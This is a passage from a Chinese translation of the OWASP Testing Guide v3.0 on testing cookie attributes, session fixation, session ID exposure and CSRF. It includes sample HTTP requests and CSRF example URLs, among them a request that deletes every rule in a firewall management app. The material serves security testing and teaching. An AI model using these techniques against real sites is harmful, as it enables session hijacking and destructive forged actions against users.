• Path —— 除 了 Domain, cookie 可 以 指 定 有 效 的 URL 路 径 。 如 果 域 名 和 路 径 匹 配 , 那 幺 请 求 中 将 发 送 该<br />

Cookie。<br />

跟 域 名 属 性 相 頪 似 , 如 果 路 径 属 性 设 置 过 于 松 散 , 那 幺 它 也 能 导 致 应 用 程 序 易 受 来 自 同 一 台 服 务 器 的 其 它 应 用 程 序<br />

的 攻 击 。 例 如 , 如 果 路 径 属 性 设 置 为 Web 服 务 器 “ / ” 根 目 录 下 , 那 幺 相 同 域 名 中 的 每 一 个 应 用 程 序 都 能 得 到 这 个<br />

应 用 程 序 的 cookie。<br />

• Expires —— 这 个 属 性 是 用 来 设 置 持 久 Cookie 。 这 种 Cookie 直 到 超 过 所 设 置 的 日 期 才 会 过 期 。 直 到 cookie<br />

过 期 , 该 浏 览 器 的 会 话 和 后 续 会 话 都 会 用 到 该 持 久 Cookie。 一 旦 到 期 , 浏 览 器 会 删 除 Cookie 。 或 者 , 如 果<br />

没 有 设 置 此 属 性 , 那 幺 Cookie 只 会 在 当 前 浏 览 器 会 话 中 有 效 , 如 果 会 话 结 束 cookie 将 会 被 删 除 。<br />

黑 盒 测 试 实 例<br />

cookies 漏 洞 测 试<br />

通 过 使 用 拦 截 代 理 或 浏 览 拦 截 浏 览 器 插 件 , 捕 获 所 有 应 用 程 序 所 设 置 的 cookie 中 的 反 应 ( 使 用 Set-cookie 指 令 ) 并<br />

检 查 Cookie 的 下 列 各 项 :<br />

• Secure 属 性 —— 当 cookie 包 含 敏 感 信 息 或 者 当 cookie 是 会 话 令 牌 时 , 应 该 始 终 使 用 加 密 渠 道 发 送 这 个<br />

cookie。 例 如 , 登 录 应 用 程 序 后 , 使 用 cookie 设 置 会 话 令 牌 , 然 后 验 证 是 否 使 用 “;secure” 标 识 。 如 果 没<br />

有 , 浏 览 器 会 认 为 能 安 全 通 过 HTTP 等 未 加 密 渠 道 。<br />

• HttpOnly 属 性 —— 即 使 部 分 浏 览 器 不 支 持 此 属 性 , 但 我 们 应 该 始 终 使 用 这 个 属 性 。 这 个 属 性 能 防 止 客 户 端<br />

脚 本 使 用 该 cookie, 以 加 强 cookie 的 安 全 。 因 此 请 检 测 是 否 设 置 了 “HttpOnly” 属 性 。<br />

• Domain 属 性 —— 确 认 Domain 没 有 设 置 得 过 于 松 散 。 如 上 所 述 , 只 应 该 将 Domain 设 置 为 需 要 接 收 该 cookie<br />

的 服 务 器 。 例 如 : 如 果 应 用 存 在 于 app.mysite.com 服 务 器 上 , 那 幺 它 应 该 被 设 置 成 ";<br />

domain=app.mysite.com" 而 不 能 设 置 成 "; domain=.mysite.com", 因 为 这 种 设 置 会 允 许 其 它 存 在 漏 洞 的 服 务 器<br />

接 收 到 cookie。<br />

• Path 属 性 —— 确 认 Path 属 性 如 Domain 属 性 一 样 没 有 设 置 得 过 于 松 散 。 即 使 Domain 属 性 配 置 得 足 够 严<br />

格 , 但 如 果 Path 是 设 置 在 根 目 录 “/” 下 , 它 同 样 会 允 许 其 它 存 在 漏 洞 的 应 用 接 收 到 该 cookie。 例 如 : 如 果<br />

应 用 程 序 存 在 于 / myapp /, 并 且 确 认 cookie 路 径 设 置 为 "; path=/myapp/", 而 不 是 设 置 为 "; path=/" 或 ";<br />

path=/myapp"。 注 意 在 myapp 之 后 必 须 使 用 “/”。 如 果 没 有 使 用 , 浏 览 器 将 cookie 发 送 给 任 何 匹 配<br />

“myapp” 的 路 径 , 如 “myapp-exploited”。<br />

165


• Expires 属 性 —— 如 果 该 属 性 被 设 置 成 将 来 的 一 个 时 间 , 就 要 确 认 它 不 包 含 任 何 敏 感 信 息 。 例 如 : 如 果<br />

cookie 设 置 为 "; expires=Fri, 13-Jun-2010 13:45:29 GMT"(2010 年 6 月 13 日 ), 而 当 前 时 间 是 2008 年 6 月 10<br />

日 , 接 下 来 你 就 得 检 测 该 cookie。 如 果 cookie 是 存 储 在 用 户 硬 盘 中 的 会 话 令 牌 , 那 幺 有 权 限 读 取 这 个<br />

cookie 的 攻 击 者 或 本 地 用 户 ( 如 管 理 员 ) 就 能 在 截 止 日 期 前 通 过 重 复 提 交 这 个 令 牌 进 入 应 用 程 序 。<br />

参 考<br />

白 皮 书<br />

• RFC 2965 - HTTP State Management Mechanism - http://tools.ietf.org/html/rfc2965<br />

工 具<br />

• RFC 2616 – Hypertext Transfer Protocol – HTTP 1.1 - http://tools.ietf.org/html/rfc2616<br />

截 获 代 理 :<br />

• OWASP: Webscarab - http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project<br />

• Dafydd Stuttard: Burp proxy - http://portswigger.net/proxy/<br />

• MileSCAN: Paros Proxy - http://www.parosproxy.org/download.shtml<br />

浏 览 器 插 件<br />

• "TamperIE" for Internet Explorer - http://www.bayden.com/TamperIE/<br />

• Adam Judson: "Tamper Data" for Firefox - https://addons.mozilla.org/en-US/firefox/addon/966<br />

4.5.3 会 话 固 定 测 试 (OWASP-SM_003)<br />

摘 要<br />

当 用 户 成 功 通 过 验 证 而 应 用 程 序 不 更 新 cookie 时 , 攻 击 者 就 能 找 到 会 话 固 定 漏 洞 并 迫 使 用 户 利 用 已 知 的 cookie。 在<br />

这 种 情 况 下 , 攻 击 者 可 以 窃 取 用 户 会 话 ( 会 话 劫 持 ) 。<br />

问 题 描 述<br />

固 定 会 话 漏 洞 发 生 在 :<br />

• web 应 用 程 序 在 不 废 止 现 有 的 会 话 ID( 未 经 验 证 ) 前 提 下 验 证 一 个 用 户 , 从 而 导 致 应 用 程 序 继 续 使 用 已 经<br />

跟 未 被 验 证 之 前 所 联 系 的 同 一 个 会 话 ID。<br />

166


OWASP 测 试 指 南 v3.0<br />

• 攻 击 者 能 够 迫 使 用 户 使 用 一 个 已 知 的 会 话 ID, 一 旦 用 户 进 行 身 份 验 证 , 攻 击 者 就 能 进 入 验 证 过 的 会 话 。<br />

在 一 般 利 用 固 定 会 话 漏 洞 时 , 攻 击 者 在 Web 应 用 程 序 上 创 建 一 个 新 的 会 话 并 记 录 相 关 的 会 话 ID。 接 着 攻 击 者 促 使 受<br />

感 染 用 户 使 用 同 一 个 会 话 ID 通 过 服 务 器 验 证 。 这 就 帮 助 攻 击 者 通 过 活 动 会 话 进 入 用 户 账 户 。<br />

此 外 , 有 的 网 站 对 HTTP 发 布 会 话 ID 并 将 用 户 重 定 向 到 HTTPS 的 登 录 表 单 , 对 这 些 网 站 而 言 , 上 述 问 题 是 存 在 的 。<br />

如 果 会 话 ID 没 有 在 认 证 后 重 新 发 布 , 攻 击 者 可 以 窃 取 该 ID, 并 使 用 它 进 行 会 话 劫 持 。<br />

黑 盒 测 试 实 例<br />

会 话 固 定 漏 洞 测 试 :<br />

测 试 的 第 一 步 是 对 网 站 提 出 请 求 ( 例 如 www.example.com ) 。 如 果 我 们 的 请 求 如 下 :<br />

GET www.example.com<br />

会 得 到 以 下 回 应 ::<br />

HTTP/1.1 200 OK<br />

Date: Wed, 14 Aug 2008 08:45:11 GMT<br />

Server: IBM_HTTP_Server<br />

Set-Cookie: JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1; Path=/; secure<br />

Cache-Control: no-cache="set-cookie,set-cookie2"<br />

Expires: Thu, 01 Dec 1994 16:00:00 GMT<br />

Keep-Alive: timeout=5, max=100<br />

Connection: Keep-Alive<br />

Content-Type: text/html;charset=Cp1254<br />

Content-Language: en-US<br />

我 们 注 意 到 , 应 用 在 客 户 端 建 立 了 新 的 会 话 ID:JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1 。<br />

下 一 步 , 如 果 我 们 采 用 POST HTTPS 成 功 通 过 应 用 验 证 :<br />

POST https://www.example.com/authentication.php HTTP/1.1<br />

Host: www.example.com<br />

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16<br />

Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5<br />

Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3<br />

Accept-Encoding: gzip,deflate<br />

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />

Keep-Alive: 300<br />

Connection: keep-alive<br />

Referer: http://www.example.com<br />

167


Cookie: JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1<br />

Content-Type: application/x-www-form-urlencoded<br />

Content-length: 57<br />

Name=Meucci&wpPassword=secret!&wpLoginattempt=Log+in<br />

我 们 从 服 务 器 获 取 如 下 反 馈 信 息 :<br />

HTTP/1.1 200 OK<br />

Date: Thu, 14 Aug 2008 14:52:58 GMT<br />

Server: Apache/2.2.2 (Fedora)<br />

X-Powered-By: PHP/5.1.6<br />

Content-language: en<br />

Cache-Control: private, must-revalidate, max-age=0<br />

X-Content-Encoding: gzip<br />

Content-length: 4090<br />

Connection: close<br />

Content-Type: text/html; charset=UTF-8<br />

...<br />

HTML data<br />

...<br />

由 于 成 功 验 证 时 没 有 发 布 新 的 Cookie, 由 此 我 们 知 道 会 话 劫 持 有 可 能 发 生 。<br />

预 期 结 果 :<br />

我 们 可 以 给 用 户 发 送 一 个 有 效 的 会 话 ID( 可 能 利 用 社 会 工 程 技 巧 ), 然 后 等 待 他 们 来 验 证 , 并 随 后 确 认 服 务 器 是 否<br />

对 该 cookie 分 派 了 特 权 。<br />

灰 盒 测 试 实 例<br />

从 开 发 者 那 里 了 解 在 用 户 成 功 验 证 后 他 们 是 否 已 经 实 施 了 会 话 令 牌 更 新 。<br />

预 期 结 果 :<br />

应 用 在 验 证 用 户 之 前 首 先 应 废 除 现 有 的 会 话 ID。 如 果 验 证 成 功 , 则 提 供 一 个 新 的 会 话 ID。<br />

参 考<br />

白 皮 书<br />

• Session Fixation<br />

168


OWASP 测 试 指 南 v3.0<br />

工 具<br />

• Chris Shiflett: http://shiflett.org/articles/session-fixation<br />

• OWASP WebScarab: OWASP_WebScarab_Project<br />

4.5.4 会 话 变 量 泄 漏 测 试 (OWASP-SM-004)<br />

摘 要<br />

如 果 会 话 令 牌 遭 到 泄 露 (Cookie,SessionID, 隐 藏 字 段 ), 通 常 会 让 攻 击 者 假 冒 受 害 用 户 非 法 进 入 应 用 程 序 。<br />

因 此 , 任 何 时 候 都 应 该 避 免 会 话 令 牌 被 窃 取 - 特 别 是 当 在 客 户 端 浏 览 器 和 应 用 服 务 器 之 间 传 输 的 时 候 。<br />

问 题 简 要 说 明<br />

相 关 信 息 包 括 如 何 将 安 全 传 输 应 用 到 敏 感 会 话 ID 数 据 传 输 , 而 不 是 应 用 到 一 般 数 据 传 输 中 。 敏 感 数 据 传 输 可 能 比<br />

缓 存 和 应 用 于 网 站 服 务 器 数 据 的 政 策 传 输 更 严 格 。 使 用 个 人 代 理 有 可 能 能 确 定 下 列 关 于 每 个 请 求 和 响 应 :<br />

• 使 用 协 议 ( 例 ,:HTTP vs. HTTPS)<br />

• HTTP 报 头<br />

• 信 息 主 体 ( 例 : POST 或 者 网 页 内 容 )<br />

每 次 在 客 户 端 和 服 务 器 之 间 传 递 会 话 ID 数 据 时 , 都 会 检 查 该 传 输 协 议 、 缓 存 和 隐 私 指 示 和 主 体 。 传 输 安 全 是 指 通<br />

过 GET 或 POST 请 求 、 信 息 主 体 、 或 其 他 有 效 的 HTTP 请 求 方 法 传 输 会 话 ID。<br />

黑 盒 测 试 实 例<br />

加 密 & 会 话 令 牌 回 用 漏 洞 测 试 :<br />

防 窃 取 功 能 往 往 是 由 SSL 加 密 提 供 , 但 也 有 可 能 使 用 其 它 渠 道 或 其 它 加 密 方 式 。 应 当 指 出 的 是 对 会 话 ID 的 加 密 或<br />

散 列 加 密 应 该 与 传 输 加 密 分 开 考 虑 , 因 为 会 话 ID 加 密 保 护 的 是 会 话 ID 本 身 而 不 是 它 所 代 表 的 数 据 。 因 为 攻 击 者<br />

有 可 能 得 到 会 话 ID 并 进 入 应 用 程 序 , 所 以 我 们 应 该 在 会 话 ID 传 送 过 程 中 对 其 进 行 保 护 以 便 能 减 轻 风 险 。 因 此 ,<br />

如 果 传 输 会 话 ID, 则 不 管 使 用 何 种 机 制 ( 就 算 是 一 个 隐 藏 的 表 单 字 段 ), 都 应 当 确 保 任 何 请 求 或 回 应 默 认 或 强 制<br />

执 行 加 密 功 能 。 在 与 应 用 程 序 交 互 时 , 应 该 对 其 进 行 简 单 的 检 查 , 例 如 将 https:// 替 换 成 http://, 同 时 检 查 表<br />

单 posts 的 修 改 情 况 , 以 确 定 是 否 对 安 全 和 非 安 全 网 站 进 行 了 充 分 隔 。<br />

注 意 : 如 果 该 网 站 还 存 在 一 个 因 素 使 用 户 能 在 不 存 在 安 全 问 题 情 况 下 跟 踪 会 话 ID( 例 如 : 记 录 一 个 注 册 用 户 下 载<br />

了 哪 些 公 共 文 件 ), 那 幺 这 个 因 素 必 须 是 使 用 了 不 同 的 会 话 ID。 当 客 户 端 从 安 全 的 内 容 切 换 到 不 安 全 的 内 容 , 我<br />

们 就 应 该 监 测 是 否 使 用 了 不 同 的 会 话 ID。<br />

预 期 结 果 :<br />

169


每 一 次 认 证 成 功 , 用 户 都 将 收 到 :<br />

• 不 同 的 会 话 令 牌<br />

• 每 次 发 送 HTTP 请 求 时 都 会 通 过 加 密 渠 道 发 送 令 牌<br />

代 理 & 缓 存 漏 洞 测 试<br />

在 检 查 应 用 程 序 安 全 时 必 须 也 考 虑 到 代 理 的 安 全 。 在 许 多 情 况 下 , 客 户 通 过 企 业 、ISP 或 其 他 代 理 人 或 协 议 知 道 的<br />

网 关 ( 如 防 火 墙 ) 访 问 应 用 程 序 。HTTP 协 议 规 定 指 令 控 制 下 游 代 理 行 为 , 同 时 评 估 这 些 指 令 是 否 正 确 执 行 。 通 常<br />

在 未 加 密 传 输 中 不 应 该 发 送 会 话 ID 并 不 应 该 对 会 话 ID 进 行 缓 存 。 因 此 应 该 检 查 应 用 程 序 以 确 保 在 传 输 会 话 ID 时<br />

默 认 或 强 制 实 施 加 密 通 讯 。 此 外 , 当 传 输 会 话 ID 时 , 都 应 该 实 施 防 止 中 间 或 本 地 缓 存 器 进 行 缓 存 的 指 令 。<br />

在 HTTP/1.0 和 HTTP/1.1 中 , 都 应 该 配 置 应 用 程 序 保 护 缓 存 中 数 据 安 全 — RFC 2616 中 讨 论 了 涉 及 到 HTTP 的 适<br />

当 的 控 制 措 施 。HTTP/1.1 提 供 了 大 量 的 缓 存 控 制 机 制 。Cache-Control: no-cache 说 明 代 理 不 能 再 使 用 任 何 数 据 。 雖<br />

然 Cache-Control: Private 好 像 是 一 个 合 适 的 指 令 -- 能 允 许 非 共 同 代 理 缓 存 数 据 , 但 在 网 吧 或 其 他 共 享 系 统 中 这 种 配<br />

置 很 明 显 存 在 风 险 。 即 使 在 单 用 户 工 作 站 中 , 如 果 文 件 系 统 已 被 侵 略 或 使 用 了 网 络 存 儲 , 都 有 可 能 会 暴 露 缓 存 中 的<br />

会 话 ID。 但 HTTP/1.0 缓 存 不 识 别 Cache-Control: no-cache 指 令 。<br />

结 果 预 期 :<br />

应 使 用 “Expires: 0” 和 Cache-Control: max-age=0 指 令 , 以 进 一 步 确 保 缓 存 不 会 泄 露 数 据 。 应 当 对 每 个 传 递 会 话 ID<br />

数 据 的 请 求 / 响 应 进 行 审 查 , 以 确 保 使 用 了 适 当 的 缓 存 指 令 。<br />

GET & POST 弱 点 测 试<br />

由 于 URL 地 址 可 能 在 代 理 或 防 火 墙 日 志 中 泄 露 , 一 般 都 不 应 该 使 用 GET 请 求 传 输 会 话 ID。 尽 管 客 户 端 可 以 使 用<br />

正 确 的 工 具 操 控 任 何 机 制 ( 如 Post 请 求 ), 但 是 GET 请 求 比 其 它 类 型 的 传 输 更 容 易 被 操 控 。 此 外 , 通 过 给 受 感 染<br />

用 户 发 送 特 制 的 结 构 链 接 , 能 轻 易 利 用 跨 站 点 脚 本 (XSS) 攻 击 。 然 而 如 果 客 户 端 使 用 POSTs 传 输 , 这 种 攻 击 发 生<br />

的 可 能 性 较 小 。<br />

结 果 预 期 :<br />

应 该 检 查 通 过 POST 请 求 接 收 数 据 的 所 有 服 务 器 端 代 码 , 以 确 保 它 不 接 受 GET 传 输 的 数 据 。 例 如 , 下 面 通 过 登 录 页<br />

产 生 的 POST 请 求 。<br />

POST http://owaspapp.com/login.asp HTTP/1.1<br />

Host: owaspapp.com<br />

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02 Paros/3.0.2b<br />

Accept: */*<br />

Accept-Language: en-us, en<br />

Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66<br />

Keep-Alive: 300<br />

170


OWASP 测 试 指 南 v3.0<br />

Cookie: ASPSESSIONIDABCDEFG=ASKLJDLKJRELKHJG<br />

Cache-Control: max-age=0<br />

Content-Type: application/x-www-form-urlencoded<br />

Content-Length: 34<br />

Login=Username&password=Password&SessionID=12345678<br />

如 果 login.asp 被 不 正 确 实 现 , 就 有 可 能 允 许 使 用 以 下 链 接 登 录 (GET 请 求 ):<br />

http://owaspapp.com/login.asp?Login=Username&password=Password&SessionID=12345678<br />

可 通 过 这 种 方 式 ( 检 查 每 个 POST) 发 现 潜 在 的 不 安 全 的 服 务 器 端 脚 本 。<br />

传 输 漏 洞 测 试 :<br />

应 该 测 试 所 有 客 户 端 与 应 用 程 序 间 的 交 互 。 至 少 确 定 他 们 符 合 以 下 标 准 :<br />

• 会 话 ID 如 何 转 移 ? 例 如 ,GET,POST, 表 单 ( 包 括 隐 藏 字 段 )<br />

• 会 话 ID 是 否 始 终 默 认 以 加 密 传 输 方 式 发 送<br />

• 是 否 有 可 能 操 纵 应 用 程 序 以 非 加 密 方 式 发 送 会 话 ID? 例 如 , 通 过 将 HTTPS 变 成 HTTP<br />

• 什 幺 缓 存 控 制 指 令 适 用 于 会 话 ID 传 递 的 请 求 / 响 应 ?<br />

• 这 些 指 示 总 是 存 在 ? 如 果 不 是 , 有 什 幺 例 外 情 况 ?<br />

• 是 否 使 用 了 包 含 会 话 ID 的 GET 请 求 ?<br />

• 如 果 使 用 POST, 是 否 能 与 GET 互 换 ?<br />

参 考<br />

白 皮 书<br />

• RFCs 2109 & 2965 – HTTP State Management Mechanism [D. Kristol, L. Montulli] - www.ietf.org/rfc/rfc2965.txt,<br />

www.ietf.org/rfc/rfc2109.txt<br />

• RFC 2616 – Hypertext Transfer Protocol -- HTTP/1.1 - www.ietf.org/rfc/rfc2616.txt<br />

171


4.5.5 CSRF 测 试 (OWASP-SM-005)<br />

摘 要<br />

CSRF 攻 击 迫 使 终 端 用 户 在 通 过 验 证 后 在 web 应 用 中 执 行 不 必 要 的 行 动 。 在 社 会 工 程 帮 助 下 ( 如 通 过 电 子 邮 件 / 聊<br />

天 发 送 的 链 接 ), 攻 击 者 可 能 会 迫 使 Web 应 用 程 序 用 户 执 行 攻 击 者 所 选 择 的 行 动 。 當 一 个 成 功 的 CSRF 漏 洞 的 目 标<br />

是 普 通 用 户 时 , 它 能 够 危 害 终 端 用 户 的 数 据 和 操 作 。 但 如 果 最 终 的 目 标 用 户 是 管 理 员 帐 户 , 一 个 CSRF 攻 击 可 以 损<br />

害 整 个 Web 应 用 程 序 。<br />

相 关 安 全 活 动<br />

CSRF 漏 洞 说 明<br />

参 见 OWASP 文 章 之 CSRF 漏 洞 。<br />

如 何 避 免 CSRF 漏 洞<br />

参 见 OWASP Development Guide 文 章 之 如 何 避 免 CSRF 漏 洞 。<br />

如 何 审 查 规 范 CSRF 漏 洞<br />

参 见 OWASP Code Review Guide 文 章 之 如 何 审 查 规 范 CSRF 漏 洞 。<br />

问 题 描 述<br />

CSRF 依 赖 于 以 下 条 件 :<br />

1) 处 理 有 关 会 话 信 息 的 Web 浏 览 器 的 行 为 , 如 Cookie 和 HTTP 验 证 信 息 ;<br />

2) 攻 击 者 掌 握 的 有 效 Web 应 用 程 序 的 URL 知 识 ;<br />

3) 只 依 赖 浏 览 器 已 知 的 信 息 作 应 用 会 话 管 理 ;<br />

4)HTML 标 记 的 存 在 能 立 即 获 得 HTTP[s] 资 源 ; 例 如 IMG 图 片 标 记 。<br />

1,2,3 点 对 漏 洞 存 在 必 不 可 少 , 而 第 4 点 作 为 附 属 条 件 协 助 漏 洞 的 实 际 开 发 利 用 . 但 第 四 点 并 不 是 必 要 条 件 。<br />

1) 浏 览 器 会 自 动 发 送 信 息 用 来 识 别 用 户 会 话 。 假 设 网 站 site 是 一 个 托 管 Web 应 用 程 序 的 网 站 , 用 户 受 害 人<br />

victim 刚 刚 通 过 网 站 的 验 证 。 网 站 会 回 应 给 该 用 户 一 个 cookie, 用 来 确 定 所 发 送 请 求 时 属 于 用 户 认 证 的 会 话 。 基<br />

本 上 , 一 旦 浏 览 器 收 到 该 网 站 设 置 的 Cookie, 它 会 自 动 将 cookie 和 任 何 对 网 站 的 进 一 步 要 求 发 送 出 去 。<br />

2) 如 果 应 用 程 序 的 URL 没 有 使 用 会 话 相 关 信 息 , 那 么 这 意 味 着 可 以 确 定 应 用 程 序 的 网 址 、 参 数 和 其 合 法 值 。( 通<br />

过 代 码 分 析 或 通 过 访 问 应 用 并 记 录 HTML/JavaScript 的 表 单 和 URL)<br />

172


OWASP 测 试 指 南 v3.0<br />

3)“ 浏 览 器 已 知 的 信 息 ” 指 的 是 用 来 作 验 证 的 信 息 , 如 Cookies, 或 基 于 HTTP 的 身 份 验 证 信 息 ( 如 基 本 身 份 验<br />

证 , 但 并 不 是 基 于 表 单 的 身 份 验 证 )。 这 些 信 息 储 存 在 浏 览 器 中 并 随 后 重 新 发 送 给 每 个 针 对 应 用 程 序 区 域 的 验 证 请<br />

求 。 接 下 来 讨 论 的 漏 洞 适 用 于 完 全 依 靠 这 种 信 息 确 认 用 户 会 话 的 应 用 程 序 。<br />

为 简 单 起 见 , 假 设 是 使 用 GET 请 求 的 URL( 虽 然 此 讨 论 同 样 适 用 于 POST 请 求 )。 如 果 受 害 者 已 经 验 证 自 己 的 身<br />

份 , 再 次 提 交 请 求 会 导 致 cookie 连 同 请 求 一 起 发 送 ( 见 图 片 , 如 果 用 户 访 问 www.example.com 的 应 用 程 序 )<br />

GET 请 求 可 能 来 自 于 多 种 不 同 的 方 式 :<br />

• 由 实 际 使 用 web 应 用 的 用 户 ;<br />

• 由 直 接 在 浏 览 器 输 入 URL 的 用 户 ;<br />

• 由 使 用 外 部 链 接 ( 应 用 程 序 外 部 ) 访 问 网 站 的 用 户 。<br />

应 用 程 序 无 法 区 分 这 些 方 法 。 而 第 3 点 是 特 别 危 险 的 。 有 一 些 技 术 ( 和 漏 洞 ) 可 以 掩 盖 真 实 链 接 的 网 站 。 这 个 链 接<br />

可 以 嵌 入 在 一 封 电 子 邮 件 中 , 或 者 出 现 在 一 个 引 诱 用 户 的 恶 意 网 站 中 。 即 , 链 接 好 象 链 接 到 一 个 完 全 没 有 关 系 的 内<br />

容 ( 另 一 个 网 站 , 一 个 HTML 邮 件 等 ) 并 链 接 到 应 用 程 序 的 资 源 。 因 为 该 用 户 已 在 网 站 上 通 过 Web 应 用 程 序 的 验<br />

证 , 如 果 用 户 点 击 此 链 接 , 浏 览 器 会 给 Web 应 用 程 序 发 出 GET 请 求 和 身 份 验 证 信 息 ( 会 话 ID 的 Cookie)。 这 样<br />

的 结 果 是 能 在 Web 应 用 程 序 上 进 行 有 效 操 作 , 但 可 能 会 发 生 用 户 所 不 希 望 发 生 的 事 情 。 例 如 : 在 网 上 银 行 应 用 程 序<br />

中 引 起 资 金 转 账 的 恶 意 链 接 就 会 利 用 这 种 方 法 。<br />

正 如 第 四 点 所 提 : 通 过 使 用 像 img 的 标 记 , 用 户 甚 至 不 需 要 点 击 一 个 特 定 链 接 。 假 设 攻 击 者 发 送 给 用 户 一 封 电 子 邮<br />

件 , 引 诱 用 户 访 问 包 含 下 面 ( 简 单 化 了 ) 的 HTML 网 址 :<br />

<br />

...<br />

<br />

173


...<br />

<br />

当 显 示 此 网 页 时 , 浏 览 器 将 会 按 指 示 显 示 零 宽 度 ( 即 无 形 ) 的 图 像 。 这 将 导 致 自 动 发 送 请 求 给 web 应 用 程 序 托 管 於<br />

www.company.example。 图 片 的 URL 是 不 是 链 接 到 一 幅 真 的 图 片 并 不 重 要 , 它 将 触 发 在 src 字 段 中 指 定 的 请 求 ; 如<br />

果 浏 览 器 没 有 被 配 置 为 禁 止 显 示 图 片 , 这 种 情 况 就 会 发 生 。 由 于 禁 止 显 示 图 片 会 破 坏 大 多 数 web 应 用 程 序 的 外 观 ,<br />

甚 至 导 致 无 法 使 用 web 应 用 程 序 , 因 此 一 般 使 用 者 都 不 会 禁 止 显 示 图 片 。<br />

下 面 情 况 导 致 了 这 一 问 题 的 产 生 :<br />

• HTML 标 记 存 在 于 网 页 中 会 导 致 自 动 执 行 HTTP 请 求 ( 例 如 :IMG);<br />

• 浏 览 器 无 法 知 道 IMG 引 用 的 资 源 不 是 真 的 图 片 , 更 加 无 法 知 道 它 是 不 合 法 的 ;<br />

• 无 论 存 在 于 什 幺 位 置 , 图 片 都 会 被 载 入 , 即 : 表 单 和 图 片 本 身 不 必 位 于 同 一 个 主 机 , 甚 至 不 必 在 相 同 的<br />

域 。 虽 然 这 是 一 个 非 常 方 便 的 功 能 , 它 导 致 应 用 程 序 难 以 区 分 合 法 和 不 合 法 的 图 片 。<br />

事 实 上 , 与 Web 应 用 程 序 无 关 的 内 容 可 能 是 应 用 程 序 中 的 组 件 , 同 时 浏 览 器 会 自 动 对 应 用 程 序 提 出 请 求 , 这 就 允 许<br />

了 这 种 攻 击 。 迄 今 为 止 还 没 有 定 义 相 关 标 准 , 因 此 除 非 攻 击 者 不 能 发 现 有 效 应 用 程 序 的 URL, 否 则 没 有 办 法 禁 止 这<br />

种 行 为 。 这 意 味 着 有 效 的 网 址 必 须 包 含 与 用 户 会 话 有 关 的 信 息 , 而 这 些 信 息 是 攻 击 者 一 般 不 可 能 知 道 的 信 息 , 因 此<br />

攻 击 者 不 可 以 掌 握 有 效 的 URL。<br />

在 综 合 邮 件 / 浏 览 器 环 境 中 , 这 问 题 可 能 会 更 糟 。 因 为 它 会 显 示 了 包 含 图 片 的 电 子 邮 件 信 息 , 这 些 信 息 将 导 致 使 用<br />

相 关 浏 览 器 cookie 对 web 应 用 程 序 执 行 请 求 。<br />

而 且 , 如 果 URL 参 照 看 似 有 效 的 图 片 , 使 用 者 就 可 能 被 进 一 步 迷 惑 了 :<br />

<br />

[attacker] 是 攻 击 者 所 控 制 的 站 点 , 利 用 复 位 向 机 制 从 http://[attacker]/picture.gif 跳 转 到<br />

http://[thirdparty]/actionhttp://[thirdparty]/action。<br />

这 漏 洞 所 涉 及 的 案 例 不 只 是 Cookies。 如 果 Web 应 用 程 序 的 会 话 信 息 是 全 部 由 浏 览 器 提 供 , 就 会 同 样 的 存 在 漏<br />

洞 。 这 包 括 只 依 赖 于 HTTP 认 证 机 制 的 应 用 程 序 。 因 为 浏 览 器 知 道 其 验 证 信 息 并 会 在 每 次 请 求 时 自 动 发 送 这 些 信<br />

息 。 这 不 包 括 基 于 表 单 的 身 份 验 证 ; 因 为 一 旦 发 生 一 次 这 样 的 验 证 , 就 会 产 生 一 些 某 种 形 式 的 会 话 有 关 信 息 ( 当<br />

然 , 在 这 种 情 况 下 , 如 果 这 些 资 料 是 仅 仅 在 cookie 中 , 我 们 就 会 回 到 之 前 的 情 况 )。<br />

样 本 情 况<br />

假 设 , 受 害 者 登 录 到 防 火 墙 网 络 管 理 应 用 程 序 。 用 户 必 须 验 证 自 己 才 能 登 录 ; 登 录 成 功 后 其 会 话 信 息 将 储 存 在<br />

cookie 中 。<br />

174


OWASP 测 试 指 南 v3.0<br />

假 设 防 火 墙 网 络 管 理 应 用 程 序 存 在 一 个 功 能 允 许 已 通 过 验 证 的 用 户 删 除 其 位 置 编 号 所 指 定 的 规 则 , 或 当 用 户 输 入<br />

‘*’ 时 能 删 除 所 有 配 置 规 则 ( 相 当 危 险 的 功 能 , 但 它 将 使 这 个 例 子 更 有 趣 ) 。 删 除 的 网 页 会 在 下 面 显 示 。 为 了 简<br />

便 起 见 , 假 设 表 单 发 送 了 像 以 下 的 GET 请 求 :<br />

https://[target]/fwmgt/delete?rule=1<br />

( 删 除 第 一 条 规 则 )<br />

https://[target]/fwmgt/delete?rule=*<br />

( 删 除 所 有 规 则 )。<br />

这 个 例 子 故 意 设 置 得 比 较 简 单 , 但 是 却 可 以 简 明 地 体 现 CSRF 的 危 害 性 。<br />

因 此 , 我 们 输 入 “*” 值 , 并 点 击 Delete 键 , 就 提 交 了 下 面 的 GET 请 求 。<br />

https://www.company.example/fwmgt/delete?rule=*<br />

能 删 除 所 有 防 火 墙 规 则 ( 或 产 生 极 其 麻 烦 的 情 况 ....).<br />

这 并 非 是 唯 一 可 能 的 方 案 。 用 户 可 能 通 过 手 动 提 交 的 URL 网 址 来 实 现 相 同 的 结 果 :<br />

https://[target]/fwmgt/delete?rule=*<br />

175


或 通 过 一 个 链 接 直 接 指 向 , 或 通 过 复 位 向 连 接 到 上 述 网 址 。 或 者 , 使 用 带 有 嵌 入 式 IMG 的 标 记 指 向 同 一 网 址 的 方 法<br />

来 访 问 。<br />

在 上 述 所 有 这 些 情 况 中 , 如 果 用 户 当 前 登 录 到 防 火 墙 管 理 应 用 程 序 中 , 这 些 请 求 就 会 生 效 并 修 改 防 火 墙 配 置 。<br />

想 象 如 果 攻 击 的 目 标 是 敏 感 应 用 程 序 或 是 进 行 自 动 竞 价 投 标 、 资 金 转 移 、 下 订 单 、 改 变 重 要 软 件 组 件 的 配 置 等 , 那<br />

幺 后 果 就 会 很 严 重 了 。<br />
